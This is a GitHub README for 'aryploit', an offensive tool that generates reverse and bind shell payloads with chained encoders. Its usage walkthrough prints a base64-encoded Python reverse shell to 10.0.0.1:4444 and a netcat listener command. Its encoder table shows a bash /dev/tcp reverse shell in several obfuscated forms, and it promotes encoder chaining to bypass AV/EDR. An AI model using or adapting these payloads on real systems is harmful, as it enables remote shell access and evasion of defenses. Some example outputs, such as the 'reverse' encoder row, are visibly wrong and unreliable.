Skip to content

giriaryan694-a11y/aryploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ”₯ ARYPLOIT

Metasploit-style reverse/bind shell generator with advanced encoders for red teamers & pentesters


πŸš€ What is ARYPLOIT?

aryploit is a Metasploit-inspired, all-in-one payload generator for reverse shells, bind shells, and advanced encoding. Built for red teamers, pentesters, and CTF players, it simplifies payload generation with 10+ encoders, cross-platform support (Linux/Windows/Web), and evasion techniques to bypass AV/EDR.

⚠️ For authorized testing & educational purposes only.


πŸ”₯ Features

βœ… 100+ Payloads – Reverse & bind shells for Linux, Windows, PHP, ASP, JSP, PowerShell, Python, Ruby, Perl, and more. βœ… Advanced Encoders – Chain Base64, URL, Hex, ROT13, XOR, Caesar, Binary, Octal, HTML, Unicode for evasion. βœ… Search & Filter – Quickly find payloads with search payload linux or search encoders base64. βœ… Listener Examples – Auto-generate Netcat, Socat, Python listener commands. βœ… Modular & Extensible – Easy to add custom payloads, encoders, and listeners. βœ… CTF & Red Team Ready – Designed for real-world engagements and capture-the-flag challenges.


πŸ“Œ Installation

From GitHub (Recommended)

git clone https://github.com/giriaryan694-a11y/aryploi.git
cd aryploit


pip3 install -r requirements.txt
python3 aryploit.py

1. List Payloads
 aryploit > list rev_payloads linux
reverse/linux/bash_tcp
reverse/linux/python
reverse/linux/perl
...
Filter by keyword:
 aryploit > search payload tcp
reverse/linux/bash_tcp
reverse/windows/powershell
...
2. Select a Payload
 aryploit > use reverse/linux/bash_tcp
[+] Loaded payload: reverse/linux/bash_tcp
Or use set payload:
 aryploit > set payload reverse/linux/bash_tcp
3. Set LHOST & LPORT
 aryploit > set lhost 10.0.0.1
aryploit > set lport 4444
4. Apply Encoders (Single or Chained)
 aryploit > set encoder base64,url,hex
[+] Encoder chain set: base64, url, hex
5. Generate Payload
 aryploit > generate

[+] Generated Payload:
aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjAuMC4xIiw0NDQ0KSk7b3MuZHVwMjoocy5maWxlbm8oKSwMCk9TKSwgb3MuZHVwMjoo...
6. Start a Listener
 aryploit > listener nc

[+] Listener Example (nc): nc -lvnp 4444

πŸ› οΈ Encoders (Evasion & Obfuscation)

Encoder Description Example Output
base64 Standard Base64 encoding YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=
url URL encoding bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F...
hex Hexadecimal encoding 62 61 73 68 20 2d 69 20 3e 26 20 2f 64 65 76
xor XOR encoding (key: 0x55) ¢¬¦¬§¦¬¦§¬¢¦§¬¢¦§¬¢
rot13 ROT13 cipher onfu -v >& /qri/gpc/10.0.0.1/4444 0>&1
reverse Reverse the string 1>0& 4444/1.0.0.10 cpd/cte/evd/ :ptth
caesar Caesar cipher (shift +3) edvk -l >& /gfy/wfs/10.0.0.1/4444 0>&1
binary 8-bit binary 01100010 01100001 01110011 01101000
unicode Unicode escape \u0062\u0061\u0073\u0068

πŸ“œ Payloads Database

Platform Type Payloads
Windows Reverse cmd, powershell, nc
Web Reverse PHP, ASP, JSP, ASPX
Linux Reverse bash, nc, python, perl, ruby, socat, openssl, telnet
Linux Bind nc, bash, socat, python, perl
Windows Bind nc, powershell

Full list: Run list rev_payloads or list bind_payloads.

πŸ” Why ARYPLOIT? πŸš€ Faster than Metasploit for quick payload generation. πŸ›‘οΈ Bypasses basic AV/EDR with encoder chaining. πŸŽ“ Perfect for learning reverse shells & evasion. πŸ”§ Extensible – Add your own payloads & encoders.

πŸ“’ Contributing Contributions are welcome! Open a Pull Request or issue for:

New payloads Better encoders Bug fixes Documentation improvements

Code of Conduct: Be respectful & ethical.

⚠️ Legal Disclaimer ⚠️ ARYPLOIT is for authorized testing only. ⚠️ Unauthorized use is illegal. ⚠️ The author is not responsible for misuse.

πŸ“£ Spread the Word If you find aryploit useful, star ⭐ this repo and share it with your friends! Follow for updates:

πŸ“œ License This project is licensed under the MIT License – see LICENSE for details.

Built with ❀️ by Aryan Giri
```

About

Metasploit-style reverse/bind shell generator with advanced encoders for red teamers & pentesters

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages